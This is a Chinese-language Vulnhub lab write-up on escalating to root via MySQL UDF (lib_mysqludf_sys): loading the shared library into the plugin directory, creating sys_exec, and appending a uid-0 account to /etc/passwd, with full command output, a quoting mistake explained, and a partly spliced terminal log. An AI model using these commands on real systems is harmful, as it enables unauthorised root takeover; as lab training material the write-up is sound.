利用Mysql提权的步骤以及一种低级错误的说明

利用Mysql提权的步骤以及一种低级错误的说明

通过一些方式获取了目标主机mysql的用户名和密码，这时我们想通过mysql来执行系统命令，此时我们可以考虑使用UDF进行提权。需要提前将lib_mysqludf_sys_64.so文件（Kali linux上有该文件）上传至靶机/tmp目录下。然后连接数据库。另外需要提前生成具有root权限的用户的密码：

┌──(kali㉿kali)-[~/Vulnhub/Sundown]
└─$ sudo openssl passwd -1 -salt bob 123456   
$1$bob$7Llv2KscjOtcMna9mt7Ps0

目标就是将bob（具有root权限）追加到/etc/passwd文件中去，即：

bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash

然后在数据库中进行如下步骤：

第一步：use mysql;

第二步：创建新表: create table potato(line blob);

第三步：插入插件：insert into potato values(load_file(‘/tmp/lib_mysqludf_sys_64.so’));

     SHOW VARIABLES LIKE ‘%plugin%’;

select * from potato into dumpfile
‘/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so’;

create function sys_exec returns integer soname ‘lib_mysqludf_sys_64.so’;

接下来，在进入插入用户名密码过程中犯了一个低级错误，即

select sys_exec('echo "bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd');

双引号在里面导致美元符号会被解释，从而密码验证的时候会不对，导致验证失败。

如下所示：

MariaDB [mysql]>  select sys_exec('echo "jason:12345:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd');
+----------------------------------------------------------------------------------+
| sys_exec('echo "jason:12345:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd') |
+----------------------------------------------------------------------------------+
|                                                                                0 |
+----------------------------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [mysql]> quit
Bye
carlos@sundown:/tmp$ su - jason
Password: 
su: Authentication failure

其实只需将sys_exec命令的单引号与双引号互换即可正确执行,完整过程如下：

carlos@sundown:/tmp$ mysql -uroot -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 161571
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW VARIABLES LIKE '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> create table potato(line blob);
Query OK, 0 rows affected (0.009 sec)

MariaDB [mysql]> insert into potato values(load_file('/tmp/lib_mysqludf_sys_64.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]>  SHOW VARIABLES LIKE ‘%plugin%’;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '‘%plugin%’' at line 1
MariaDB [mysql]>  SHOW VARIABLES LIKE '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)

MariaDB [mysql]> select * from potato into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so';
Query OK, 1 row affected (0.000 sec)

MariaDB [mysql]>  create function sys_exec returns integer soname 'lib_mysqludf_sys_64MariaDB [mysql]> select sys_exec("echo 'bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash' >> /etc/passwd");
+--------------------------------------------------------------------------------------------------------+
| sys_exec("echo 'bob:$1$bob$7Llv2KscjOtcMna9mt7Ps0:0:0:User_like_root:/root:/bin/bash' >> /etc/passwd") |
+--------------------------------------------------------------------------------------------------------+
|                                                                                                      0 |
+--------------------------------------------------------------------------------------------------------+
1 row in set (0.001 sec)

MariaDB [mysql]>carlos@sundown:/tmp$ su - bob
Password: 
root@sundown:~# id
uid=0(root) gid=0(root) groups=0(root)
root@sundown:~# ls -alh
total 28K
drwx------  3 root root 4.0K Aug  3  2020 .
drwxr-xr-x 18 root root 4.0K Aug  3  2020 ..
lrwxrwxrwx  1 root root    9 Aug  3  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4.0K Aug  3  2020 .local
lrwxrwxrwx  1 root root    9 Aug  3  2020 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 1.3K Aug  3  2020 proof.txt
-rw-r--r--  1 root root   66 Aug  3  2020 .selected_editor
root@sundown:~# cat proof.txt
                              _____,,,\//,,\\,/,
                             /-- --- --- -----
                            ///--- --- -- - ----
                           o////- ---- --- --
                           !!//o/---  -- --
                         o*) !///,~,,\\,\/,,/,//,,
                           o!*!o'(\          /\
                         | ! o ",) \/\  /\  /  \/\
                        o  !o! !!|    \/  \/     /
                       ( * (  o!'; |\   \       /
                        o o ! * !` | \  /       \
                       o  |  o 'o| | :  \       /
                        *  o !*!': |o|  /      /
                            (o''| `| : /      /
                            ! *|'`  \|/       \\
                           ' !o!':\  \\        \
                            ( ('|  \  `._______/
////\\\,,\///,,,,\,/oO._*  o !*!'`  `.________/
  ---- -- ------- - -oO*OoOo (o''|           /
    --------  ------ 'oO*OoO!*|'o!!          \
-------  -- - ---- --* oO*OoO *!'| '         /
 ---  -   -----  ---- - oO*OoO!!':o!'       /
 - -  -----  -  --  - *--oO*OoOo!`         /
   \\\\\,,,\\,//////,\,,\\\/,,,\,,ejm/AMC

510252fabb4b7e7dddd7373b7b3da3e8

Thanks for playing - Felipe Winsnes (@whitecr0wz)
root@sundown:~# 
 quit
.so';
Query OK, 0 rows affected (0.000 sec)